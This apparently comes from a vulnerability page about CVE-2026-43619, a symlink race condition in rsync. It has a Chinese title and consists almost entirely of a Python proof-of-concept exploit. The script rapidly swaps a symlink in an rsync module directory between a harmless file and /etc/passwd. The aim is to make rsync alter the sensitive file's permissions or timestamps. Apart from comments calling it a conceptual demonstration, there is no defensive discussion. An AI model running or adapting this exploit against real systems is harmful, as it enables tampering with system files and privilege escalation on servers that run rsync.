CVE-2026-43619 Rsync 符号链接竞争条件漏洞

import os import time # This script demonstrates the concept of the symlink race condition. # It rapidly swaps a symlink between a safe target and a sensitive target. # # Usage: # 1. Create a directory monitored by rsync. # 2. Point 'link_path' inside that directory. # 3. Run this script while triggering an rsync operation. safe_path = "/tmp/safe_file.txt" target_path = "/etc/passwd" # Sensitive file to modify permissions/timestamps link_path = "/tmp/rsync_module/exploit_link" # Initialize the symlink if os.path.exists(link_path): os.remove(link_path) os.symlink(safe_path, link_path) print("[*] Starting race condition attack...") print(f"[*] Swapping {link_path} between {safe_path} and {target_path}") try: while True: # Point to safe file (during rsync check) os.remove(link_path) os.symlink(safe_path, link_path) # Tiny delay to simulate timing window time.sleep(0.0001) # Point to target file (during rsync syscall execution) os.remove(link_path) os.symlink(target_path, link_path) time.sleep(0.0001) except KeyboardInterrupt: print("\n[!] Stopping attack.") # Cleanup if os.path.islink(link_path): os.remove(link_path)